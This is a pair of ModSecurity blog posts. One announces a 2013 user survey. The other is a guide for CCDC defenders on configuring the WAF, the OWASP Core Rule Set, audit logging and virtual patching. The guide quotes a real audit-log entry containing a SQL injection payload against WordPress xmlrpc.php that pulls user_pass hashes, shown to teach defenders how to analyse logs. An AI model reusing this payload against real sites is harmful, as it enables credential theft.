The ModSecurity web application firewall project has grown a lot in the past year including, releasing versions for both Microsoft IIS and Nginx web server platforms and migrating the source code to SpiderLabs GitHub Repo. We even won some community awards and WAF comparison tests. It is good to look back on past accomplishments but it is also important to look ahead. Where will ModSecurity go in the future?
As part of this effort, the ModSecurity Team in SpiderLabs Research has developed a new user survey for 2013.
Click here to take survey.If you are a user of ModSecurity, I encourage you to take the Survey as it will give us a better understanding of how ModSecurity is being used and also get feedback on what we are doing well and what we need to improve. It is only 15 questions. As an added incentive, you can also enter your email address into a Raffle to win a copy of my new book "The Web Application Defender's Cookbook: Battling Hackers and Protecting Users."
Thanks for using ModSecurity and for helping us to make it better!
Web Application Defender's Cookbook: CCDC Blue Team Cheatsheet
Trustwave is a corporate sponsor of the National Collegiate Cyber Defense Competition (CCDC) where the SpiderLabs team members actively participate on the Red Teams and simulate attackers. While we have been highly active in the "attack" portion of CCDC over the years, we haven't done much to help the competitors themselves (the Blue Team). The purpose of this blog post is to help the CCDC defenders with the challenge of fending off the web attackers during the competition!
In CCDC events, competitors inherit networks with server and applications that they must defend from attacks. They must quickly get a handle on their assets and implement tools, scripts, etc... to help them defend.
Install ModSecurityModSecurity is a cross-platform (Apache, IIS and Nginx), open source web application firewall (WAF) module. It is a Trustwave SpiderLabs project and is the most widely deployed WAF in existence. ModSecurity can be manually installed from source code by downloading the archive from our site however for CCDC you will most likely not want to fool around with configuration/compilation time. Fortunately, ModSecurity is already installed in most OS repos. This means that you should be able to easily install it by using your package managers with commands like:
- Ubuntu
- CentOS
Once installed, you then need to setup some basic configurations.
Recommended Base ConfigurationModSecurity comes with a recommended base config file that sets reasonable settings for items such as whether you want to allow block or not, where to send log files, etc...
Set Blocking ModeThe default setting is to run in "DetectionOnly" mode which means ModSecurity will generate events but it won't take any disruptive actions. While this is reasonable for a normal production environment, I would recommend that CCDC competitor change this to On to allow blocking. Do keep in mind, however, that when the scoring engine visits your site you do not want any false positive blocks or you will lose points!
Enable HTTP Audit LoggingWhen dealing with web applications, one of the first issue that you must deal with is that of Visibility. Let's be honest - default web server logging sucks. You have limited visibility into HTTP(S) transactional data which makes it very hard to identify attacks, vulnerabilities and also leaked or stolen data exiting the application. Proper web application instrumentation is paramount. ModSecurity has an Audit Engine (SecAuditEngine directive) that allows the user to configure how much data they want to log. For CCDC competitors, I would absolutely recomment setting this to On. This will create a transactional log file for every single request/response with all inbound and outbound data. This is invaluable when doing quick IR reviews to confirm attack vectors, success and data leakages.
Install the OWASP ModSecurity Core Rule Set (CRS)The OWASP ModSecurity CRS is a project that Trustwave SpiderLabs Research leads. It's purpose is to provide essential, drop-in protections for issues such as SQL Injection, Cross-site Scripting and data leakage prevention. It uses a generic, negative security model approach to identify malicious activity. It is by no means perfect, but does significantly raise the bar needed for attackers to evade the filters. It is during these times that CCDC competitors should be reviewing alerts and audit log data to verify attack vectors and if there are any vulnerabilities that need to be addressed. The CRS archive can be downloaded from the SpiderLabs GitHub Repo. It is recommended that you review the following blog post to decide whether you want to run the CRS in traditional vs. anomaly scoring mode.
Hint - you may want to activate some of the optional rules that help to prevent sensitive data leakage such as Credit Card numbers :)
Dynamic Virtual PatchingIf time permits, another quick method of securing web applications is to do Virtual Patching. In this pre-deployment scenario, CCDC competitors are doing Proactive Virtual Patching by identifying vulnerabilities themselves by running a dynamic vulnerability scanner against the site and then taking the XML report data and auto-converting this intelligence into custom virtual patches for ModSecurity. The Red Team is most certainly going to be using simlar tools against your sites. You should too! Read the following two blog posts:
- Automated Virtual Patching with Arachni Scanner
- Automated Virtual Patching with OWASP Zed Attack Proxy
Again, if time permits, you can also configure ModSecurity to set out HoneyTraps for the Red Teams. These are valuable as they can quickly identify malicious users. Reference blog posts:
Asymmetric WarfareAs Theodin proclaimed in the Two Towers: And so it begins... Once the CCDC competition begins, and the enormous Orc Army (Red Team) starts charging the walls, you will need to keep a keen eye on your alert logs.
Monitoring Logs/AlertsYou can do this by manually reviewing the Apache error_log file. Two methods of log review you should consider during competition -
- Review repeated alerts for specific resources. This usually indicates Red Teams have narrowed in their focus on a resource and are attempting filter evasions.
- Any Outbound error/leakage alerts. This indicates that an inbound request was not block (perhaps an evasion) and the application is complaining. This is a time bomb waiting to go off. You should react quickly to take action against the attacker and/or create a virtual patch.
As an example of the types of items CCDC competitors should keep an eye out for are any events of severity ALERT (1) or EMERGENCY (0) as these incidate application errors or data leakages. Here is an example alert:
[Fri Feb 17 16:26:37 2012] [error] [client 192.168.1.103] ModSecurity: Warning. Operator GE matched 1 at TX. [file “/usr/ local/apache/conf/crs/base_rules/modsecurity_crs_60_correlation. conf”] [line “29”] [id “981202”] [msg “Correlated Attack Attempt Identified: (Total Score: 21, SQLi=5, XSS=) Inbound Attack (981242-Detects classic SQL injection probings 1/2 Inbound Anomaly Score: 13) + Outbound Application Error (ASP/JSP source code leakage - Outbound Anomaly Score: 8)”] [severity “ALERT”] [hostname “192.168.1.103”] [uri “/zapwave/active/inject/inject- sql-form-basic.jsp”] [unique_id “Tz7GDcCoAWcAAOsFI@cAAAAA”]This was generated when an attacker was sending SQL Injection attacks to a Java app server and it generated this example stack dump page:
If you see these types of alerts, you must take immediate action to secure that resource.
Here is another example of conducting event analysis using the ModSecurity audit log file. Let's say you identified the following entries in your Apache access_log file:
109.70.36.102 - - [15/Feb/2012:09:08:16 -0500] "POST /wordpress//xmlrpc.php HTTP/1.1" 500 163 "-" "Wordpress Hash Grabber v2.0libwww-perl/6.02" 109.70.36.102 - - [15/Feb/2012:09:08:17 -0500] "POST /wordpress//xmlrpc.php HTTP/1.1" 200 613 "-" "Wordpress Hash Grabber v2.0libwww-perl/6.02"Remember how I said that default web server log files suck? Yeah, here is why. You can see that the User-Agent data is suspicious as it indicates a malicious program for extracting password hash data, however the rest of the information is incomplete. First of all, the HTTP Request Method is POST which means that there was a request body that was passing parameters to the application. This data, unfortunately, is not logged. The other item of concern is that HTTP Response Status Codes. In the first request the result was a 500 Error while in the second one it was a 200 OK. Is this good or bad? Did the application error in the first request leak information? You can not answer this question as the default logging does not capture the outbound HTTP Responses. This is where the ModSecurity audit log file will be like gold to CCDC competitors! Here is an example audit log file entry for the second request above:
--26b60826-A-- [15/Feb/2012:09:08:17 --0500] Tzu8UcCoqAEAAR4rI1cAAAAA 109.70.36.102 58538 192.168.1.111 80 --357b3215-B-- POST /wordpress//xmlrpc.php HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: localhost User-Agent: Wordpress Hash Grabber v2.0libwww-perl/6.02 Content-Length: 738 --357b3215-C-- <?xml version=”1.0”?><methodCall><methodName>mt.setPostCategories </methodName> <params> <param><value> <string>3 union all select user_pass from wp_users where id=3</string></value> </param> </param> </param> <member> <param><value><string>admin</string></value> <param><value><string>admin</string></value> <param><value> <array> <name>categoryId</name> <data><value> <struct> <value><string>1</string></value> </member> <name>categoryName</name> </string></value> </member> </name> <value><boolean>0</boolean></value> </member> </struct></value> </data></array></value> </param> </params> </methodCall> --357b3215-F-- HTTP/1.1 200 OK X-Powered-By: PHP/5.3.2-1ubuntu4.5 Content-Length: 649 Vary: Accept-Encoding Content-Type: text/xml Connection: close --357b3215-E-- <div id=’error’> <p class=’wpdberror’><strong>WordPress database error :</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union all select user_pass from wp_users where id=3’ at line 3]<br /> <code> DELETE FROM wp_post2cat WHERE category_id = 349508cb0ff9325066aa6c490c33d98b AND post_id = 3 union all select user_ pass from wp_users where id=3 </code></p> </div><?xml version=”1.0”?> <methodResponse> <params> <param> <value> <boolean>1</boolean> </value> </param> </params> </methodResponse> --357b3215-H-- Apache-Handler: proxy-server Stopwatch: 1329314896780667 97446 (- - -) Stopwatch2: 1329314896780667 97446; combined=278, p1=9, p2=229, p3=10, p4=11, p5=18, sr=0, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.7.0-dev1 (http://www. modsecurity.org/). Server: Apache/2.2.17 (Unix) mod_ssl/2.2.12 OpenSSL/0.9.8r DAV/2 --357b3215-Z--The two most important data elements are highlighted -
- Under Section C (Request Body) - you can see the full XML payload, including where the attack tool used SQL Injection to dump the user_pass hash data from the wp_users table.
- Under Section E (Response Body) - you can see the full HTML text sent to the attacker. Unfortunately, the highlighted section shows that the SQL Injection attack was successful at extracting the password hash for the user with ID 3. At this point, you can bet that the CCDC Red Team will start password cracking tasks to try and identify this user's password. It is for this reason that you should change this users password immediately and then proceed to the next section to create a virtual patch to plug this SQL Injection vuln on the WordPress xmlrpc.php page.
As opposed to the Proactive Virtual Patching mentioned previously, this scenario is Reactive and is based upon identifying vulnerabilities as part of live attack attempts. While you are conducting log/alert analysis, you will most likely identify a hot-spot that the attackers are focusing on. In this scenario, you should supplement the generic, blacklist protections provided by the OWASP ModSecurity CRS by create a positive security model ruleset for the targetted resourse. Reference the OWASP Virtual Patching CheatSheet section on creating postive security model patches.
Blacklisting Source IP AddressesModSecurity has the capability to temporarily blacklist IP addresses. Do use this with care however to ensure that you do not block network segments or the scoring engine clients.
Slowing Down Automated ScannersModSecurity can also slow down responses by using the pause action. This can be useful to help slow down scanners and to give CCDC defenders more time to respond while the attacker is still in the enumeration phase.
Submitting Incident ReportsThe data provided by ModSecurity's alerts and full audit logs will be critical for submitting your incident reports during the competition. This information will allow you to efficiently outline which systems/resources were attacked and what the outcome was.
ConclusionIf you are a CCDC competitor, I hope you found this blog post useful. The tactics outline here, if properly implemented, will greatly increase your chances of successfully defending your systems during the competition. We would also love to hear any feedback on your experiences using ModSecurity during the compeitions. Thanks and Good Luck!

